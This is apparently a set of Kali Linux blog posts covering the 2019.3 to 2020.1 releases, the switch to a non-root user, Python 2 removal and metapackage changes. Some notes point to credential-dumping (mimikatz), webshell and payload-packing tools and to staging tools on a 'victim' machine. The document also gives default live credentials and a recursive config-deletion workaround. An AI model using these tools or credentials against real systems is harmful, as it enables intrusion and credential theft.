It’s a very small image, containing only enough to install the base system, but behaving exactly like the full installer image, allowing you to install everything that Kali offers, provided that you have enabled network connectivity.

Live Image

Its primary use is to be able to run Kali, without installing it
But it also contains an installer, behaving like the “Network Install Image” described above
Filename:
- kali-linux-2020.1-live-<amd64|i386>.iso

“Kali Live” hasn’t been forgotten about - it’s just moved to its own image. This allows you to try Kali without installing it and is perfect for running off a USB stick. You can install from this image, however, it will require a network connection (this is why we suggest the stand-alone install image for most users).

Alternatively, you can generate your own image, in particular if you want to use another desktop environment instead of our default Xfce. It’s not as hard as it sounds!.

ARM Images

You will probably notice a bit of a change in the ARM images starting with our 2020.1 release. There are fewer images available for download, due to both manpower and hardware constraints, some images won’t be posted without community assistance. The scripts are still updated, so if an image doesn’t exist for a machine you use, you will have to create it by running the build script on a Kali machine.

ARM images for 2020.1 will still run as root by default.

The sad news that a lot of people didn’t want to hear… an image for the Pinebook Pro isn’t included in the 2020.1 release. We are still working on getting it added, and as soon as it is ready we will post it.

NetHunter Images

Our mobile pen-testing platform, Kali NetHunter, has also had some new improvements. You are now no longer required to root your phone in order to run Kali NetHunter, but that does come with some limitations.

To suit everybody’s needs, Kali NetHunter now comes in the following three editions:

NetHunter - Needs rooted devices with custom recovery and patched kernel. Has no restrictions. Device specific images are available here.
NetHunter Light - Needs rooted devices with custom recovery but no custom kernel. Has minor restrictions, i.e. no WiFi injection or HID support. Architecture specific images are available here.
NetHunter Rootless - Installable on all stock standard, unmodified devices using Termux. Some limitations, like lack of db support in Metasploit and no root permissions. Installation instruction is available here.

The NetHunter documentation page includes a more detailed comparison. Each NetHunter edition comes with both the new “kali” user as well as root. KeX now supports multiple sessions so you can opt to run your pentest in one whilst writing a report in another.

Please note that due to how Samsung Galaxy devices function, the non-root user might not be able to run sudo but has to use su -c instead.

One of the peculiarities of the new “NetHunter Rootless” edition is that the default non-root user has almost full privileges in the chroot due to how proot containers work.

Theming

With our last release, we made a major change switching from GNOME to Xfce. That wasn’t the end for us; we have kept on going with the design work, and have more updates:

GNOME There is now a new theme for GNOME users and as an additional bonus, there is a light and dark theme!

Tools We are giving the tools that you are very fond of a makeover too! We are slowly working through our collection, refreshing them and adding in new icons.

Menu Eagle-eyed users may also notice the icons used in the menu have also been replaced.

Setup And if you opt to use the graphical installer of Kali, it’s also been updated (Before and after shots)

Kali-Undercover

We were not expecting the community’s overwhelming response to kali-undercover. So carrying on from Kali 2019.4 release, Kali-undercover now starts to feel even more like Windows to help blend in.

New Packages

Kali Linux is a rolling distribution, so it gets updates as soon as they are available, rather than waiting for “the next release”. So since the last release, we have the normal tool upgrades as well as a few new tools added, such as: cloud-enum, emailharvester, phpggc, sherlock, splinter.

We have a few new (kali-community-wallpapers) and old (kali-legacy-wallpapers) wallpapers to offer up if you want to customize or are feeling a little a little nostalgic.

Python 2 End Of Life

As a reminder, Python 2 has reached “end of life” on the 1st of January 2020. What this means is, we are removing tools that depend on Python 2. Why? Because they are no longer being maintained, they are not receiving updates, and they need replacing. The pentesting landscape is a dynamic field that is forever changing. It’s time to keep up. We will be doing our best to find alternatives that are actively worked upon.

Giving A Helping Hand

If you want to contribute to Kali please do! If you have an area, idea of something YOU would like to work on, please dig in. If you want to help, but don’t know where to start, please see our docs page. If you have a suggestion for a feature, please record it on the bug tracker.

Note: the bug tracker is for bugs & suggestions. Its not a place to get help or support - that’s for the forums.

Download Kali Linux 2020.1

Fresh images Why are you waiting? Start downloading now!

Existing Upgrades If you already have an existing Kali installation, remember you can always do a quick update:

kali@kali:~$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" | sudo tee /etc/apt/sources.list
kali@kali:~$
kali@kali:~$ sudo apt update && sudo apt -y full-upgrade
kali@kali:~$
kali@kali:~$ [ -f /var/run/reboot-required ] && sudo reboot -f
kali@kali:~$

You should now be on Kali Linux 2020.1. We can do a quick check by doing:

kali@kali:~$ grep VERSION /etc/os-release
VERSION="2020.1"
VERSION_ID="2020.1"
VERSION_CODENAME="kali-rolling"
kali@kali:~$
kali@kali:~$ uname -v
#1 SMP Debian 5.4.13-1kali1 (2020-01-20)
kali@kali:~$
kali@kali:~$ uname -r
5.4.0-kali3-amd64
kali@kali:~$

NOTE: The output of uname -r may be different depending on architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We’ll never be able to fix what we don’t know is broken.

Kali Default Non-Root User

Tue, 31 Dec 2019 00:00:00 +0000

For years now, Kali has inherited the default root user policy from BackTrack. As part of our evaluation of Kali tools and policies we have decided to change this and move Kali to a “traditional default non-root user” model. This change will be part of the 2020.1 release, currently scheduled for late January. However, you will notice this change in the weekly images starting now.

The History of Default Root User

In the beginning, there was BackTrack. In its original form, BackTrack (v1-4) was a Slackware live based distro intended to be ran from a CDROM. Yes, we do go back a ways (2006!).

In this model, there was no real update mechanism, just a bunch of pentesting tools living in the /pentest/ directory, that you could use as part of assessments. It was the early days, so things were not very sophisticated, we were just all happy things worked. A lot of those tools back then either required root access to run or ran better when ran as root. With this operating system that would be ran from a CD, never be updated, and had a lot of tools that needed root access to run it was a simple decision to have a “everything as root” security model. It made complete sense for the time.

As time went by however, there were a number of changes. All of us that were around back then sort of remember things a little differently but on the broad strokes we saw people were installing BackTrack on bare metal so we felt like there should be an update mechanism. Especially after walking around Defcon and noticing how many people were using a version of BackTrack that was vulnerable to a certain exploit which came out a few weeks prior. That moved us to basing BackTrack 5 off of Ubuntu instead of Slackware live (February 2011). Then as more time went by we were so busy fighting with Ubuntu that we felt like we needed to move onto something else.

That brought us to Kali (March 2013), and being an official Debian derivative.

Modern Kali

Our move to be a Debian derivative brought with a whole host of advantages. So many in-fact its not worth reviewing them here, just look at the early Kali blog posts shortly after the launch and you will see a ton of examples. But one advantage that we never really talked to much about is the fact that we are based on Debian-Testing.

Debian has a well earned reputation for being one of the most stable Linux distros out there. Debian-Testing is the development branch of the next version of Debian, and realistically is still more stable than many mainstream Linux distros.

While we don’t encourage people to run Kali as their day to day operating system, over the last few years more and more users have started to do so (even if they are not using it to do penetration testing full time), including some members of the Kali development team. When people do so, they obviously don’t run as default root user. With this usage over time, there is the obvious conclusion that default root user is no longer necessary and Kali will be better off moving to a more traditional security model.

Why Some Tools Require Root Access

Lets have a quick sidebar and review how some tools require root. For this, we will pick on nmap.

Nmap is hands down the most popular portscanner in use today, and one of the most popular tools used on Kali. When ran by a non-root user doing a standard scan, nmap will default to running what is known as a connect scan (-sT). In this sort of scan, a full TCP three way handshake is conducted to identify if a given port is open or not. However, when ran as a root user nmap takes advantage of the additional privileges to utilize raw sockets and will conduct a syn scan (-sS), a far more popular scan type. This syn scan is not possible unless ran as root.

This aspect of security tools requiring root level permissions traditionally has not been uncommon. Running as a root user by default makes it easier to use these tools.

One of the, possibly surprising, conclusions we came to while looking at this issue is the number of tools that require root access has dropped over the years. This has made this default root policy less useful, bringing us to the point now where we are going to make this change.

Many Applications Require Non Root Accounts

On the opposite direction, over the years a number of applications and services have been configured to forbid their usage as the root user. This has become either a maintenance burden for us (when we opted to patch out the check or reconfigure the service) or a nuisance for users that could not use their application (with chrome/chromium being a well known case).

Dropping this default root policy will thus simplify maintenance of Kali and will avoid problems for end-users.

Kali Non-Root User Implementation

There are a number of changes you can expect to see as part of this change.

Kali in live mode will be running as user kali password kali. No more root/toor. (Get ready to set up your IDS filters, as we are sure this user/pass combo will be being scanned for by bots everywhere soon).
On install, Kali will prompt you to create a non-root user that will have administrative privileges (due to its addition to the sudo group). This is the same process as other Linux distros you may be familiar with.
Tools that we identify as needing root access, as well as common administrative functions such as starting/stopping services, will interactively ask for administrative privileges (at least when started from the Kali menu). If you really don’t care about security, and if you preferred the old model, you can install kali-grant-root and run dpkg-reconfigure kali-grant-root to configure password-less root rights.

All-in-all, we don’t expect this will be a major change for most users. It is possible that some tools or administrative functions will be missed in our review, when that happens we would ask that you create a bug report so it can be tracked and corrected. (And no, tweeting at us is not a bug report and won’t be tracked. Sorry, but that just does not scale).

Going Forward

All that said, we are still not encouraging people to use Kali as their day to day operating system. More than anything else, this is because we don’t test for that usage pattern and we don’t want the influx of bug reports that would come with it. However, for those of you that are familiar with Kali and want to run it as your day to day platform, this change should help you out a lot. For the rest of you, this should give you a better security model to operate under while you are doing assessments.

As we mentioned at the start, this change is currently available in the daily builds and will be in the next weekly build. Feel free to download and test early, as we would like to have as many potential issues shaken lose before release as possible. The more active users on this the better.

After a strong 2019 with Kali, this is a major change to start out our 2020 development cycle. Expect more as the year goes on. As always, feel free to join in on the bug tracker, forums, or git to contribute and be part of the future of Kali.

How Kali deals with the upcoming Python 2 End-of-Life

Mon, 16 Dec 2019 00:00:00 +0000

Five years ago, the Python developers announced that they will stop supporting Python 2 in 2020. For a long time, nobody cared and Python 3 adoption was slow. But things have changed a lot lately as the deadline is right around the corner (1st January).

Debian is removing Python 2 support

Debian is planning to get rid of Python 2 entirely for their next stable release so they are progressively getting rid of Python 2 code. They filed release critical bugs on leaf packages (i.e. packages without reverse dependencies) asking them to be ported to Python 3. If the Python 3 port is not happening soon enough, these packages will be removed from Debian Testing (which is what Kali is based on).

Consequences for Kali

Applications disappearing

As Kali is a rolling distribution, it continuously receives updates from Debian Testing. This includes when packages “go away” because they have been dropped from Debian. However, they can always come back later, provided that someone ports them to Python 3.

We have already experienced this in the case of zenmap which is no longer maintained by the nmap developers. Thus, it’s no longer built by Debian’s nmap source package, and as a result no longer appears in Kali.

Broken applications

We have many Python 2 applications in Kali that use modules which are packaged in Debian. When Debian drops the Python 2 version of such a module, the application is broken in kali-dev. kali-rolling is not affected due to the way it’s managed but the growing divergence between kali-dev and kali-rolling is making our job more difficult: we don’t get updates for such packages and there are other (recent/) applications that will likely require new versions of those packages!

Kali must remove Python 2 code too

Due to this change in the ecosystem, Kali has no other choice than to follow Debian’s lead and remove Python 2 code as well. This giant effort is tracked with many GitLab issues against all packages depending on Python 2 in some way. We have already filed upstream bug reports for all the packages where there’s no Python 3 support yet.

How we handle each case depends on many factors:

If upstream is working on Python 3 support, then we just wait until it’s ready.
If upstream is inactive or is not interested into porting its code to Python 3, then we have few choices:
- either we remove the package;
- or we find some fork/patch that adds Python 3 support;
- or we do the porting work ourselves (rather unlikely except for trivial scripts).

It also depends on the kind of packages:

For a Python library, it’s a two step process: first we add Python 3 support; Python 2 support is removed later, once all reverse dependencies have been updated to use Python 3.
For a Python application, a single update might be enough but that update might depend on having dependencies be ported to Python 3 first.

We don’t like to remove software, but sometimes when they are no longer maintained, we have no other choices. For important packages, we are waiting longer thus letting more time for the community to add the required Python 3 support. We might even patch them so that they display a warning inviting users to contribute, or at least understand the application may be removed in the near future.

For packages that no longer add much value, or that have viable alternatives in Kali, we might remove them at any point in time.

How you can contribute

If one of your favorite applications appears among the affected Kali packages or among the affected packages from Debian’s pkg-security team, then you should review its situation and possibly help the upstream developer(s) by submitting a pull request adding Python 3 support. Even if upstream is not very active, we will be able to merge your changes in Kali and keep the package for longer until upstream becomes active again.

If you don’t have the coding skills required for this, you can still try to find a Python 3 fork/patch written by someone else and point it out to us in the corresponding GitLab issue or Debian bug report. Or, tell the developers how much you like their application and that you would like to continue to make use of it, so they should port over to Python 3.

Kali Linux 2019.4 Release (Xfce, Gnome, GTK3, Kali-Undercover, Kali-Docs, KeX, PowerShell & Public Packaging)

Tue, 26 Nov 2019 00:00:00 +0000

Time to grab yourself a drink, this will take a while!

We are incredibly excited to announce our fourth and final release of 2019, Kali Linux 2019.4, which is available immediately for download.

2019.4 includes some exciting new updates:

A new default desktop environment, Xfce
New GTK3 theme (for Gnome and Xfce)
Introduction of “Kali Undercover” mode
Kali Documentation has a new home and is now Git powered
Public Packaging - getting your tools into Kali
Kali NetHunter KeX - Full Kali desktop on Android
BTRFS during setup
Added PowerShell
The kernel is upgraded to version 5.3.9
… Plus the normal bugs fixes and updates.

New Desktop Environment and GTK3 Theme

There are a ton of updates to go over for this release, but the most in your face item that everyone is going to notice first are the changes to the desktop environment and theme. So let’s cover that first.

An update to the desktop environment has been a long time coming. We have been talking about how to address this, what we wanted to do, experimenting on different approaches, and so on for months now. As a summary we had a few issues we wanted to address head-on:

Performance issues - Gnome is a fully-featured desktop environment with a ton of awesome things it can do. But all these features comes with overhead, often overhead that is not useful for a distribution like Kali. We wanted to speed things up, and have a desktop environment that does only what it’s needed for, and nothing else. Gnome has been overkill for most Kali users, as many just want a window manager that allows you to run multiple terminal windows at once, and a web browser.
Fractured user experience - We support a range of hardware, from the very high end to the very low. Because of this, traditionally our lower-end ARM builds have had a completely different UI than our standard. That’s not optimal, and we wanted to unify this experience so it did not matter if you were running on a bare metal install on a high end laptop or using a Raspberry Pi, the UI should be the same.
Modern look - We have been using the same UI for quite a while now, and our old theme maintainer had moved on due to lack of time. So we wanted to go with something fresh, new, and modern.

To help us address these items, we tracked down Daniel Ruiz de Alegría and started the development of a new theme running on Xfce. Why Xfce? After reviewing the above issues, we felt that Xfce addressed them best while still being accessible to the majority of users.

The solution we’ve committed to is lightweight and can run on all levels of Kali installs. It is functional in that it handles the various needs of the average user with no changes. It is approachable where it uses standard UI concepts we are all familiar with to ensure there is no learning curve. And it looks great with modern UI elements that make efficient use of screen space.

We are really excited about this UI update, and we think you are going to love it. However, as UI can be a bit like religion, if you don’t want to leave Gnome don’t worry. We still have a Gnome build for you, with a few changes already in place. As time goes by, we will be making changes to all of the desktop environments we release installs to get them “close” to a similar user experience no matter what DE you run. There will be limits to this, as we don’t have the resources to heavily invest in tweaking all these different environments. So if there is something you would like to see, feel free to submit a feature request!

We have also released a FAQ about the new theme that you can find on our docs page. This includes some common items like how to switch to the theme on your existing install, how to change off of it if you don’t like it, and so on.

Kali Undercover

With the change to the environment, we thought we would take a side step and do something fun. Thanks to Robert, who leads our penetration testing team, for suggesting a Kali theme that looks like Windows to the casual view, we have created the Kali Undercover theme.

Say you are working in a public place, hacking away, and you might not want the distinctive Kali dragon for everyone to see and wonder what it is you are doing. So, we made a little script that will change your Kali theme to look like a default Windows installation. That way, you can work a bit more incognito. After you are done and in a more private place, run the script again and you switch back to your Kali theme. Like magic!

Kali-Docs is now on Markdown and new home (/docs/)

This may not be as flashy as the new theme, but the changes to the documentation we have done is just as significant.

One of our go-forward goals with Kali is to move more of the development into the public and make it as easy as possible for anyone (that means you!) to get involved and contribute to Kali. That’s what our move to GitLab earlier in the year was all about. Another part of this is changing how we deal with docs.

We have since moved all of our documentation into Markdown in a public Git repository. From here on out anyone, not just Kali staff, can contribute to better documentation through merge requests. We will still approve any content changes, but once merged, changes will be automatically available on the docs section of our website.

We encourage everyone to get involved! If you see something wrong in the existing docs, change it! If you have an idea for new docs, write it! These sorts of contributions make Kali better for everyone.

This is just the first step. With this change in place, coming soon watch for a Kali-Docs package in Kali that gives you full offline access to the documentation on every install of Kali. Perfect for those situations where you are working in a closed-off environment with no Internet access.

Public Packaging

One of the more significant new documents we have done is documenting how you can make a new package that will get included in Kali.

One of the most common bug reports is requests for us to add new tools or update existing ones. Oftentimes, by the tool developers themselves as they recognize that having their tool in the Kali repo is the easiest distribution channel for security assessment tools there is. The volume of this has always been difficult to keep up with, and we have to make some hard decisions on where to commit our limited resources.

Now with this work-flow in place and documented, you don’t have to wait on us. Go ahead and package up your tool and submit it off to us for approval. This is an awesome way to get involved with improving Kali.

BTRFS during setup

Another significant new addition to the documentation is the use of BTRFS as your root file system. This is an amazing approach documented by @Re4son, that when done gives you the ability to do file system rollbacks after upgrades.

When you are in a VM and about to try something new, you will often take a snapshot in case things go wrong you can easily go back to a known-good state. However, when you run Kali bare metal that’s not so easy. So you end up being extra careful, or if things go wrong have a lot of manual clean up to do. With BTRFS, you have this same snapshot capability on a bare metal install!

As this is new, it’s not integrated into our installer yet. Once we get some feedback on how it’s working for everyone, the next step is to streamline this and make it an easier option in our installer. So if you try it out, be sure to let us know how it works for you!

PowerShell

On to other features, in case you missed it PowerShell is now in Kali. This has been really great to bring the ability to execute PowerShell scripts directly on Kali.

NetHunter Kex - Full Kali Desktop on Android phones

Another feature we are super excited about is the introduction of NetHunter Kex. In a nutshell, this allows you to attach your Android device to an HDMI output along with Bluetooth keyboard and mouse and get a full, no compromise, Kali desktop. Yes. From your phone.

We had a live Penetration Testing with Kali course we were teaching, and NetHunter Kex was just in a beta stage. So we wanted to really push the limits. So, in the live course, what we did was attach a USB-C hub to our OnePlus7. This gave us HDMI and Ethernet access. We attached the HDMI to the projector and used a bluetooth keyboard/mouse. With this, we were able to do an entire PWK module from the phone.

This is a feature you have to see to believe. Until you experience it, you won’t fully understand what this provides. With a strong enough phone, this is very similar to using a nice full-featured portable ARM desktop that happens to fit in your pocket. The possible ways you can leverage this in assessments is huge.

To get a full breakdown on how to use NetHunter Kex, check out our docs at.

ARM

2019.4 is the last release that will support 8GB sdcards on ARM. Starting in 2020.1, a 16GB sdcard will be the minimum we support. You will always be able to create your own image that supports smaller cards if you desire.

RaspberryPi kernel was updated to 4.19.81, and the firmware package was updated to include the eeprom updates for the RaspberryPi 4.

During the release testing, a limited number of devices were not showing the Kali menu properly. This was not critical enough to delay the release, so instead as a work-around you can run the following command to display the menu correctly:

apt update && apt dist-upgrade

Once this completes, log out, so you’re back at the login manager. Then switch to a console via CTRL+ALT+F11 (on the Chromebooks this is the key pointing left next to the ESC key).

rm -rf .cache/ .config/ .local/ && sync && reboot

After reboot, the menu will have the correct entries. We’re still looking into why it occurs on only some of the images.

Download Kali Linux 2019.4

So what are you waiting for? Start the download now!

Also, just to mention we do also produce weekly builds that you can use as well. If it’s been some time since our last release and you want the latest packages you don’t have to go off our latest release and update. You can just use the weekly image instead, and have fewer updates to do. Just know these are automated builds that we don’t QA like we do our standard release images.

If you already have an existing Kali installation, remember you can always do a quick update:

root@kali:~# cat </etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
EOF
root@kali:~#
root@kali:~# apt update && apt -y full-upgrade
root@kali:~#
root@kali:~# [ -f /var/run/reboot-required ] && reboot -f

If you want to switch to our new Xfce:

root@kali:~# apt -y install kali-desktop-xfce

You should now be on Kali Linux 2019.4. We can do a quick check by doing:

root@kali:~# grep VERSION /etc/os-release
VERSION="2019.4"
VERSION_ID="2019.4"
VERSION_CODENAME="kali-rolling"
root@kali:~#
root@kali:~# uname -v
#1 SMP Debian 5.3.9-3kali1 (2019-11-20)
root@kali:~#
root@kali:~# uname -r
5.3.0-kali2-amd64
root@kali:~#

NOTE: The output of “uname -r” may be different depending on architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We’ll never be able to fix what we don’t know about.

Kali Linux 2019.3 Release (Cloudflare, Kali-status, metapackages, Helper-Scripts & LXD)

Mon, 02 Sep 2019 00:00:00 +0000

We are pleased to announce that our third release of 2019, Kali Linux 2019.3, is available immediately for download. This release brings our kernel up to version 5.2.9, and includes various new features across the board with NetHunter, ARM and packages (plus the normal bugs fixes and updates).

As promised in our roadmap blog post, there are both user facing and backend updates.

Cloudflare

Kali Linux is Open-source, and Cloudflare hearts Open-source - so it’s a perfect match! As a result, Cloudflare has graciously allowed us to use their content delivery network (CDN) to mirror our repository, allowing us to now distribute our content through them. A more technical breakdown can be found on their blog.

We are currently running the Cloudflare services side by side with our standard and community mirrors.

If you notice the kali.download domain appearing on screen when you run apt update, this means you’re using Cloudflare’s services.

Kali Status

We now have a status page - status.kali.org. This provides an overview of all public facing domains and allows you to check if they are responding correctly. We have included all the sites we control, as well as the community mirrors for the repositories, allowing you to see everything you could possibly use (even if you are unaware)!

Note: Our load balancer on http.kali.org should automatically detect when a mirror is not responding and redirect you to one that is. As such, apt should always work (even if slow at times).

Metapackages

We already announced the changes to metapackages in a previous blog post, and the Kali tool listing page goes into more detail on it. However, to recap, the default toolset going forward has changed. To help with this transition, for this release only (Kali 2019.3), there is a one-off, extra image called kali-linux-large-2019.3-amd64.iso, that contains all previous default tools.

Going forward, during our release cycle, we will be evaluating which tools belong to each group:

Kali-linux-default - tools we believe are essential to a penetration tester
Kali-linux-large - for penetration testers who have a wider set of non standard/common situations
Kali-linux-everything - for those who want it all (and without Internet access during the assessment)

With the switchover to GitLab (read more here), we will soon begin accepting community package submissions. This means that anyone can directly submit improvements to us–anything from minor fixes and patches to complete tool packages is encouraged. We’re currently working through the documentation on how to create a package, making it easier for folks to get started and help out. More details to come later this year.

We also noticed some packages failed to build on certain ARM architectures, which has now been fixed (allowing for more tools to be used on different platforms!).

Helper Scripts

There’s a wide range of tools in Kali. Some tools are designed to be used on Linux, some are designed for Windows (and we can still use them with WINE), and some are static resources. During our recent metapackage refresh, we took the time to create a few “helper scripts”.

You may have installed a package, gone ahead and typed in the package name to run it, and the response back was command not found. Not any more!

We understood it may not have been obvious how to use them straight away. As a result, all of our static resources should now be easy to find. Just type in the package name (Such as PayloadsAllTheThings, SecLists, WebShells and Wordlists to a name a few), you’ll see a brief description, a directory listing, and then be moved to the folder:

root@kali:~# webshells
> webshells ~ Collection of webshells
/usr/share/webshells
|--asp
|--aspx
|--cfm
|--jsp
|--perl
|--php
root@kali:/usr/share/webshells#

When it comes to Windows binaries (Such as hyperion, mimikatz, and windows-privesc-check), depending on their functionality, it will now either start up WINE or, like above, hotlink you to the location:

root@kali:~# mimikatz
> mimikatz ~ Uses admin rights on Windows to display passwords in plaintext
/usr/share/windows-resources/mimikatz
|---kiwi_passwords.yar
|---mimicom.idl
|---Win32
|----mimidrv.sys
|----mimikatz.exe
|----mimilib.dll
|----mimilove.exe
|---x64
|----mimidrv.sys
|----mimikatz.exe
|----mimilib.dll
root@kali:/usr/share/windows-resources/mimikatz#
root@kali:/usr/share/windows-resources/mimikatz# shellter
1010101 01 10 0100110 10 01 11001001 0011101 001001
11 10 01 00 01 01 01 10 11 10
0010011 1110001 11011 11 10 00 10011 011001
11 00 10 01 11 01 11 01 01 11
0010010 11 00 0011010 100111 000111 00 1100011 01 10 v7.1
www.ShellterProject.com Wine Mode
Choose Operation Mode - Auto/Manual (A/M/H):

On the subject of tool type, we have altered the location of packages related to Windows (which eagle eye readers may have spotted in the example above). These types of tools are now located in /usr/share/windows-resources/. For example, our windows binaries used to be in /usr/share/windows-binaries/, instead, they are in /usr/share/windows-resources/binaries/. We have done this to make it easier to discover what resources can be transferred over to a Windows platform and executed directly there. Using this new location as a root path (example: http python3 -m http.server, or samba impacket-smbserver toolz .), you can quickly share everything to the target/victim machine).

Tool Updates & New Packages

As always, we have our updates for all our tools, including (but not limited to):

There is a new tool (and it is included by default), amass, that has been well received in the bug bounty world.

GNOME Users

If you use the default Kali image, it is (currently) using GNOME for the desktop environment. If you used the command line for a period of time, chances are you noticed it was refreshing the repositories in the background. This has now been disabled.

“The quieter you become, the more you are able to hear”

NetHunter Updates

The NetHunter crew has been adding in features left, right, and center to their project. One thing to note is package management is done through the F-Droid compatible NetHunter store, so you can even choose to have a NetHunter device without any Google Play.

The proxmark3 client supports RDV4 out of the box and NetHunter now also works with Android’s new partition layouts (A/B partitions no longer have one boot partition and one recovery partition. They are all the same, but twice! A few paths have also changed, such as /system now actually being under /system/system), which allows it to be built for the latest generation of devices.

Plus, there are new apps in the NetHunter app store, thanks to @mayank_metha for Rucky and the Termux team for Termux.

There are 4 additional images for you to try NetHunter on (some may look familiar, as they are back due to community demand):

LG V20 International Edition
Nexus 5X
Nexus 10
OnePlus 7 (Our new flagship device!)

With this announcement, the OnePlus 7 is now the phone we recommend for Kali NetHunter. It is the latest and greatest flagship device for half the price of other devices. The specifications are as follows:

Snapdragon 855
8GB RAM
256GB storage
Still cheaper than Google pixel 3a (mid-range phone!) ;)

And here is a sneaky peak at the new boot animation, across all devices:

ARM Update

For ARM devices this release, we have added support for the PINEBOOK as well as the Gateworks Ventana machines.

The RaspberryPi kernel has been bumped to version 4.19.66, which includes support for all of the RAM on 64-bit versions of the RaspberryPi 4. The RaspberryPi Zero W has seen improvements as well.

Bluetooth firmware that was accidentally dropped has been added back in, and the rc.local file has been fixed to properly stop dmesg spam from showing up on the first console.

All of the RaspberryPi images have had their /boot partition increased, which is required due to the size of the new kernel packages.

The ODROID-C2 has been bumped to the 3.16.72 for its kernel.

All images now run dpkg-reconfigure xfonts-base on their first boot - this will cause a bit of a slow down for the first boot, but the result is that if you use VNC to any of them, they will no longer show a blank screen.

On the WSL front, we have added WSL ARM64 support, which you can find in the Windows store today.

Official Kali Linux LXD Container Image Released

LXD is a next generation system container manager. It offers a user experience similar to virtual machines but using Linux containers instead.

It is image based with pre-made images available for a wide number of Linux distributions and we are excited to announce that Kali Linux is now one of them. We are working on the documentation but would like to share the excellent article from Simos Xenitellis in which he details how to install and run Kismet in a LXD Kali container.

Setup Notes

A couple of notes when installing Kali. If you choose to install Kali in a VM (rather than downloading our pre-made image), during the setup process, it should now detect if its running in VMware or VirtualBox and install the necessary packages to give you the best experience possible. However, if you have upgraded Kali rather than doing a fresh install, and never got around to installing these packages, the process has been automated by just running kali-setup. This program will have more functionally at a later date.

If you use Kali in a VirtualBox, please ensure you allocate 32 MB or more video memory to the VM, otherwise you may now run into some “interesting” issues where the screen is frozen after login through the graphical greeter, as if the computer had crashed, except that it’s working (you could confirm it by switching to another virtual terminal). If you are affected by this problem, you might see the following message from the kernel: [drm] Error -12 pinnning new fb, out of video mem?.

If you are using Kali Linux via Vagrant, the path has now changed. It can now be found here: kalilinux/rolling.

Download Kali Linux 2019.3

If you would like to check out the latest Kali release, you can find the download links for ISOs and Torrents on the Kali Downloads page along with links to the OffSec virtual machine and ARM images, which have also been updated to 2019.3. If you already have a Kali installation you’re happy with, you can easily upgrade in place as follows:

root@kali:~# apt update && apt -y full-upgrade

Ensuring your Installation is Updated

To double check your version, first make sure your Kali package repositories are correct:

root@kali:~# cat <<EOF>/etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
EOF
root@kali:~#
root@kali:~# apt update

Afterwards run apt -y full-upgrade, you may require a reboot (if the kernel got upgraded):

root@kali:~# apt -y full-upgrade
...
root@kali:~#
root@kali:~# [ -f /var/run/reboot-required ] && reboot -f
root@kali:~#

You should now be on Kali Linux 2019.3. We can do a quick check by doing:

root@kali:~# grep VERSION /etc/os-release
VERSION="2019.3"
VERSION_ID="2019.3"
VERSION_CODENAME="kali-rolling"
root@kali:~#
root@kali:~# uname -v
#1 SMP Debian 5.2.9-2kali1 (2019-08-22)
root@kali:~#
root@kali:~# uname -r
5.2.0-kali2-amd64
root@kali:~#

NOTE: The output of uname -r may be different depending on architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We’ll never be able to fix what we don’t know about.

Major Metapackage Makeover

Thu, 22 Aug 2019 00:00:00 +0000

With our 2019.3 Kali release imminent, we wanted to take a quick moment to discuss one of our more significant upcoming changes: our selection of metapackages. These alterations are designed to optimize Kali, reduce ISO size, and better organize metapackages as we continue to grow.

Before we get into what’s new, let’s briefly recap what a metapackage is. A metapackage is a package that does not contain any tools itself, but rather is a dependency list of normal packages (or other metapackages). This allows us to group related tools together. For instance, if you want to be able to access every wireless tool, simply install the kali-tools-wireless metapackage. This will obtain all wireless tools in one download. As always, you can access the full list of metapackages available in Kali on kali.org/docs/general-use/metapackages/. If you prefer to use the command line, the following command will list out the packages that will be installed via a specific metapackage:

root@kali:~# apt update
Hit:1 http://http.kali.org/kali kali-rolling InRelease
Reading package lists... Done
Building dependency tree
Reading state information... Done
All packages are up to date.
root@kali:~#
root@kali:~# apt depends kali-tools-wireless
kali-tools-wireless
Depends: kali-tools-802-11
Depends: kali-tools-bluetooth
Depends: kali-tools-rfid
Depends: kali-tools-sdr
Depends: killerbee
Depends: rfcat
Depends: rfkill
rfkill:i386
Depends: sakis3g
Depends: spectools
Depends: wireshark
root@kali:~#

We took the time to create new metapackages and rename existing ones, and we did the same with the tools listed inside of them. As a result of these changes, we’ve implemented a new naming convention for simplicity and improved granular control. At the end of the post there is a table displaying the relationships between previous and new names moving forward, along with a description of the metapackage purpose.

If you have made it this far, you are likely wondering “how does this affect me”?

If you are using a version of Kali older than 2019.3, if and when you upgrade, you will still have the same set of tools (just newer)!
However, if you do a fresh install of Kali with a version higher than either weekly W34 or 2019.3 ISO, you will notice some of the tools that get installed by DEFAULT have changed (we have put Kali on a diet!)

Previously, kali-linux-full was the default metapackage, which has been renamed to kali-linux-large with a redirect put in place. We have introduced a new default metapackage called kali-linux-default, which serves as a slimmed-down version of the tools from kali-linux-large.

Depending on how you use Kali will determine which metapackage would suit you best. This is the power of metapackages. For example:

If you want a core set of tools, stick with kali-linux-default (designed for assessments that are straightforward ).
If you want a more general and wider range of tools, select kali-linux-large (useful if Internet access is permitted but slow).
If you want to be prepared for anything, go with kali-linux-everything (great if you are going to be doing air-gap/offline work)

Note: You can install multiple metapackages at once and are not limited to just one, so mix and match!

Each of these metapackages depends on the one above. That means, when we add a new essential tool to kali-linux-default, it is automatically part of kali-linux-large and thus kali-linux-everything. Otherwise, when we add a new tool that may not be useful to everyone, it will be placed into either kali-linux-large or kali-linux-everything - depending on our tool policy. More information about the new tool policy will be made public towards the end of the year. Stay tuned for some very exciting news!

How Kali is being used today has changed since when Kali (and even BackTrack) was first born. Not everyone needs all the tools at once - but they are still available when required. We have opted for a new default set of tools to match the majority of today’s current network environments, by removing edge cases and legacy tools which are rarely used.

Upon doing a system upgrade (apt -y full-upgrade) on a version of Kali older than 2019.3, you will see the old metapackage name being removed. This is safe. If you have tried to remove a tool before, you may have run into this (when the tool is part of a metapackage). This is also safe to remove, as it doesn’t remove any other tools. It simply means that when a new tool is added into that metapackage, you won’t receive it.

If you are running 2019.3 and want the old default set of tools, you can do either apt -y install <tool> for a one-off package installation or apt -y install kali-linux-large to get the old tool set back. For the 2019.3 release, we will be doing a one-off extra image, which is based on kali-linux-large to help with the transition.

Below are the tables with a complete breakdown of previous metapackages names, along with their new respective names:

Systems

